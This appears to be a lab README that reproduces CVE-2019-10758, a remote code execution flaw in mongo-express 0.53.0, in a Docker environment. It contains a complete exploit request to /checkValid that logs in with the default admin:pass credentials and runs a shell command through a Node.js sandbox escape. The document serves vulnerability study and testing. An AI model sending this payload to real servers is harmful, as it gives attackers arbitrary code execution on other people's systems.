# Mongo Express Remote Code Execution (CVE-2019-10758)

[中文版本(Chinese version)](README.zh-cn.md)

mongo-express is a third-party Web interface for MongoDB, developed using Node.js and Express. If an attacker can successfully log in, or if the target server hasn't changed the default credentials (`admin:pass`), they can execute arbitrary Node.js code.

## Environment Setup

Execute the following command to start mongo-express version 0.53.0:

```bash
docker compose up -d
```

After the environment starts, visit `http://your-ip:8081` to access the Web interface.

## Vulnerability Reproduction

Send the following HTTP request to execute the code `this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")`:

```
POST /checkValid HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")
```

As you can see, the `touch /tmp/success` command has been executed successfully:

![](1.png)